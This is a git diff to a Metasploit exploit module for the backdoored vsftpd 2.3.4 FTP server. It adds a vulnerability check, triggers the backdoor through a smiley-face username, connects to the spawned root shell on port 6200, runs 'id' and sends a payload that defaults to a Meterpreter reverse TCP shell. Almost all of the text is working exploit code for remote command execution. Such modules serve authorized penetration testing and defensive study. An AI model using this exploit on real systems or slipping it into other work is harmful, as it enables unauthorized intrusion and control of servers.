diff --git a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb index 70b3b03de1..0458f2c37a 100644 --- a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +++ b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote info, 'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution', 'Description' => %q{ - This module exploits a malicious backdoor that was added to the VSFTPD download + This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. @@ -28,20 +28,24 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], ], 'Privileged' => true, - 'Platform' => [ 'unix' ], + 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', - 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd_interact', - 'ConnectionType' => 'find' - } + 'DisableNops' => true }, 'Targets' => [ - [ 'Automatic', {} ], + [ + 'Linux/Unix Command', + { + 'Type' => :unix_cmd, + 'DefaultOptions' => { + # This exploit also supports direct interaction with the backdoor using cmd/unix/interact payload + 'PAYLOAD' => 'cmd/linux/http/x86/meterpreter_reverse_tcp' + } + } + ] ], 'DisclosureDate' => '2011-07-03', 'DefaultTarget' => 0, @@ -56,23 +60,80 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(21) ]) end - def exploit + def check + # Check for backdoor first, else exploit will fail + vprint_status("Checking if backdoor has already been triggered (else exploit will fail)") nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil if nsock - print_status("The port used by the backdoor bind listener is already open") - handle_backdoor(nsock) - return + print_error("The port used by the backdoor bind listener is already open/in-use (6200/TCP)") + return Exploit::CheckCode::Unknown end - # Connect to the FTP service port first + vprint_status("Connecting to FTP service") connect + vprint_status("Checking FTP banner") banner = sock.get_once(-1, 30).to_s - print_status("Banner: #{banner.strip}") - sock.put("USER #{rand_text_alphanumeric(rand(6) + 1)}:)\r\n") + if banner.downcase.include?("vsftpd 2.3.4") + print_status("FTP banner hints its vulnerable: #{banner.strip}") + else + vprint_status("FTP banner: #{banner.strip}") + end + + ftp_user = rand_text_alphanumeric(rand(6) + 1) + vprint_status("Trying to log into FTP (User: #{ftp_user})") + sock.put("USER #{ftp_user}\r\n") resp = sock.get_once(-1, 30).to_s - print_status("USER: #{resp.strip}") + if resp =~ /^530 / + print_error("This server is configured for anonymous only and the backdoor code cannot be reached") + return Exploit::CheckCode::Safe + end + + if resp !~ /^331 / + print_error("This server did not respond as expected: #{resp.strip}") + return Exploit::CheckCode::Unknown + end + + return Exploit::CheckCode::Appears if banner.downcase.include?("vsftpd 2.3.4") and resp =~ /^331 / + return Exploit::CheckCode::Unknown + end + + def exploit + # Check for backdoor first, else exploit will fail + framework.sessions.each do |sid, sess| + next unless sess.via_exploit + if sess.via_exploit == fullname + vprint_error("Session #{sid} is already connected to the backdoor") + end + end + + nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil + if nsock + # Chance are, we will fail, but doesn't hurt to try + print_warning("The port used by the backdoor bind listener is already open. Trying...") + begin + handle_backdoor(nsock) + rescue + vprint_error("Someone has beat us to it, the backdoor is already in-use!") + raise Msf::Exploit::Failed, "Backdoor already in-use" + end + end + + # Now connect to the FTP service + vprint_status("Connecting to FTP service") + connect + + # Without this, 220 response, rather than 331 + vprint_status("Checking FTP banner") + banner = sock.get_once(-1, 30).to_s + vprint_status("FTP banner: #{banner.strip}") + + ftp_user = "#{rand_text_alphanumeric(rand(6) + 1)}:)" + vprint_status("Trying to log into FTP via backdoor. User: #{ftp_user}") + sock.put("USER #{ftp_user}\r\n") + resp = sock.get_once(-1, 30).to_s + vprint_status(resp.strip) if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") @@ -86,32 +147,48 @@ class MetasploitModule < Msf::Exploit::Remote return end - sock.put("PASS #{rand_text_alphanumeric(rand(6) + 1)}\r\n") + ftp_pass = "#{rand_text_alphanumeric(rand(6) + 1)}" + vprint_status("Trying to log into FTP via backdoor. Password: #{ftp_pass}") + sock.put("PASS #{ftp_pass}\r\n") # Do not bother reading the response from password, just try the backdoor + vprint_status("Connecting to backdoor on 6200/TCP") nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil if nsock - print_good("Backdoor service has been spawned, handling...") + print_good("Backdoor has been spawned!") handle_backdoor(nsock) return + else + print_warning("Unable to connect to backdoor on 6200/TCP. Cooldown?") end + # Finished with FTP disconnect end def handle_backdoor(s) + vprint_status("Trying 'id' command") s.put("id\n") + # Wait 5 seconds and get everything r = s.get_once(-1, 5).to_s if r !~ /uid=/ - print_error("The service on port 6200 does not appear to be a shell") + print_error("The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?") + # Finished with the backdoor disconnect(s) - return + raise Msf::Exploit::Failed, 'Could not connect to backdoor' end - print_good("UID: #{r.strip}") + vprint_good("UID: #{r.strip}") + + unless payload.encoded.empty? + c = "" + c << payload.encoded + c << "\n" + vprint_status("Running: #{c.strip}") + s.put(c) + end - s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end